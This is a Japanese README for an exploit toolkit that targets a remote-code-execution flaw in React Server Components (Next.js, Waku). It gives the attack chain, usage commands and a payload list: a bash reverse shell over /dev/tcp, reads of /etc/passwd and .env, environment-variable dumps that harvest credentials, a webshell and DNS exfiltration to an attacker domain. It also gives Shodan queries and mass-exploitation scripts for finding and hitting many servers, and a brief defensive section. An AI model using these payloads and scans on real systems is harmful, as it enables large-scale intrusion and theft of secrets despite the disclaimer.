
React Server Components の脆弱性に対する高度な RCE エクスプロイトツールキット。複数の事前構築済みペイロード、ターゲット発見のための Shodan 統合、および許可された侵入テストのための大量スキャン機能を備えています。
React Server Components リモートコード実行脆弱性向け高度なエクスプロイトツールキット
認可されたペネトレーションテストおよびセキュリティ研究専用
このツールキットは、React Server Components(RSC)実装における重大な**リモートコード実行(RCE)**脆弱性を悪用します。具体的には以下を対象とします:
この脆弱性は、RSCのデータ処理メカニズムにおけるプロトタイプ汚染と安全でないデシリアライゼーションを利用して、サーバー上で任意のコード実行を達成します。
React Server Componentsは、クライアントとサーバー間でデータを転送するためにカスタムシリアライゼーション形式を使用しています。脆弱性は、これらのフレームワークが特別に細工されたペイロードをデシリアライズして処理する方法に存在します。
攻撃チェーン:
$X:constructor:constructor を悪用してFunctionコンストラクタにアクセス_prefixフィールドに任意のJavaScriptを注入攻撃者 → 悪意のあるRSCペイロード → ターゲットサーバー
↓
安全でないデシリアライゼーション
↓
プロトタイプチェーンアクセス
↓
Functionコンストラクタ
↓
⚠️ RCE達成 ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# または
yarn install
# Shodan CLIのインストール
pip install shodan
# APIキーで初期化
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# リスナー起動
nc -lvnp 4444
# エクスプロイト実行
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
*--payload または --custom のいずれかが必須
全ペイロードの表示:
node rsc-rce-exploit.js --list
出力:
📋 利用可能なペイロード:
console - 基本的なPoC - コンソール出力
コード: console.log(7*7+1)
reverseShell - リバースシェル(bash)
コード: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - /etc/passwd の読み取り
コード: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - 環境変数のダンプ
コード: console.log(JSON.stringify(process.env,null,2))
execCommand - システムコマンドの実行
コード: console.log(require('child_process').execSync('COMMAND').toString())
webshell - ウェブシェルを /tmp に書き込み
コード: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - package.json の読み取り
コード: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS経由の外部送信
コード: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
任意のJavaScriptコードを実行:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# 基本的なNext.js
http.component:"Next.js"
# RSCを使用したNext.js
http.html:"__next" http.html:"RSC"
# 開発モードのNext.js(より脆弱)
http.html:"__NEXT_DATA__" http.html:"development"
# セルフホスト型Next.js(Vercel以外)
http.component:"Next.js" -org:"Vercel"
# 地理的ターゲット(フランス)
http.component:"Next.js" country:FR
# ペネトレーションテスト用の最適な組み合わせ
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Wakuフレームワーク
http.html:"waku" http.html:"RSC"
# Waku RSCエンドポイント
http.path:"/RSC/"
提供されている自動化スクリプトを使用:
# スキャンして自動テスト
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# カスタムペイロード付き
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Shodan検索
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. 各ターゲットをテスト
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testing http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
mass-exploit.jsツールを使用すると、複数ターゲットをテストできます:
# ファイルから
node mass-exploit.js --file targets.txt --payload console --threads 10
# Shodanから
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# 結果を保存
node mass-exploit.js --file targets.txt --payload console --output results.json
自動セキュリティテストの例:
# .github/workflows/security-test.yml
name: RSC セキュリティテスト
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
予想される出力:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - 拡張バージョン ║
║ React Server Components コード実行 ║
╚═══════════════════════════════════════════════════════════╝
[*] エクスプロイト開始...
[*] Next.js RSCエンドポイントをターゲット...
[*] URL: https://vulnerable.example.com
[*] ペイロード: console.log(7*7+1)...
[+] 応答ステータス: 200
[+] 応答本文:
50
[*] エクスプロイト完了!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
結果:
process.env 変数をダンプ# ターミナル1: リスナー起動
nc -lvnp 4444
# ターミナル2: エクスプロイト実行
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# ウェブシェルにアクセス
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# Burp Collaboratorまたは自身のDNSサーバーをセットアップ
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# 機密ファイルを読み取り
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
フレームワークの更新
npm install next@latest
# または
npm install waku@latest
入力の検証
// すべてのRSCペイロードを検証
function validateRSCPayload(payload) {
// 厳格な検証を実装
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
コンテンツセキュリティポリシー
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
本番環境でRSCを無効化(不要な場合)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-action ヘッダーの使用を警告YARAルール:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Snortルール:
alert tcp any any -> any any (msg:"RSC RCE 試行"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| バージョン範囲 | ステータス | 備考 |
|---|---|---|
| < 0.18.0 | ⚠️ 脆弱 | クリティカルなRCE |
| >= 0.18.0 | ✅ 修正済み | 更新推奨 |
貢献を歓迎します!以下のガイドラインに従ってください:
git checkout -b feature/amazing-feature)git commit -m '素晴らしい機能を追加')git push origin feature/amazing-feature)⚠️ 法的免責事項 ⚠️
このツールキットは、認可されたセキュリティテストおよび研究専用に提供されます。
本ソフトウェアを使用することにより、以下に同意するものとします:
1. 所有しているか、明示的な書面による許可を得たシステムのみをテストすること
2. 該当するすべての現地法、州法、国内法、および国際法を遵守すること
3. このツールを悪意のある目的や違法行為に使用しないこと
4. 自身の行動に対する全責任を負うこと
作者および貢献者は:
- 本ツールの誤用または損害に対して一切の責任を負いません
- 違法行為を奨励または容認しません
- 本ツールを「現状のまま」いかなる保証もなく提供します
コンピュータシステムへの不正アクセスは違法です。
違反者は以下の法律に基づき、最大限の範囲で起訴されます:
- コンピュータ詐欺および濫用防止法(CFAA)- 米国
- コンピュータ濫用法 - 英国
- 欧州サイバー犯罪条約
- その他、管轄区域で適用される法律
自己責任でご使用ください。
このプロジェクトはMITライセンスの下でライセンスされています - 詳細はLICENSEファイルを参照してください。
MIT License
Copyright (c) 2024 RSC RCE Exploit Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
| ペイロード | 説明 | 使用例 |
|---|
console | 基本的なPoC(console.log) | 脆弱性の確認 |
reverseShell | Bashリバースシェル | 初期アクセス |
readFile | /etc/passwd を読み取り | ファイルシステムアクセス |
envDump | 環境変数をダンプ | 資格情報抽出 |
execCommand | システムコマンドを実行 | 任意のコマンド実行 |
webshell | Expressウェブシェルを展開 | 永続的なアクセス |
exfilPackage | package.json を外部送信 | 依存関係分析 |
dnsExfil | DNS経由の外部送信(OOB) | ブラインドエクスプロイト |
| オプション | 説明 | 必須 |
|---|
--target <url> | ターゲットURL | ✅ |
--framework <name> | フレームワーク: next または waku | ❌(デフォルト: next) |
--payload <name> | ペイロード名(下記参照) | ✅* |
--custom <code> | カスタムJavaScriptコード | ✅* |
--lhost <ip> | 自身のIP(リバースシェル用) | ❌ |
--lport <port> | 自身のポート(リバースシェル用) | ❌ |
--command <cmd> | 実行するコマンド | ❌ |
--endpoint <path> | カスタムRSCエンドポイント(Waku) | ❌ |
--action-id <id> | カスタムnext-action ID | ❌ |
--list | 利用可能なペイロード一覧表示 | ❌ |
--verbose | 詳細出力 | ❌ |
--help | ヘルプ表示 | ❌ |
| バージョン範囲 | ステータス | 備考 |
|---|
| < 13.4.0 | ✅ 影響なし | RSCがデフォルトで無効 |
| 13.4.0 - 13.4.19 | ⚠️ 脆弱 | クリティカルなRCE |
| 13.5.0 - 14.0.4 | ⚠️ 脆弱 | クリティカルなRCE |
| 14.1.0 | ⚠️ 脆弱 | 部分的な緩和 |
| >= 14.1.1 | ✅ 修正済み | 更新推奨 |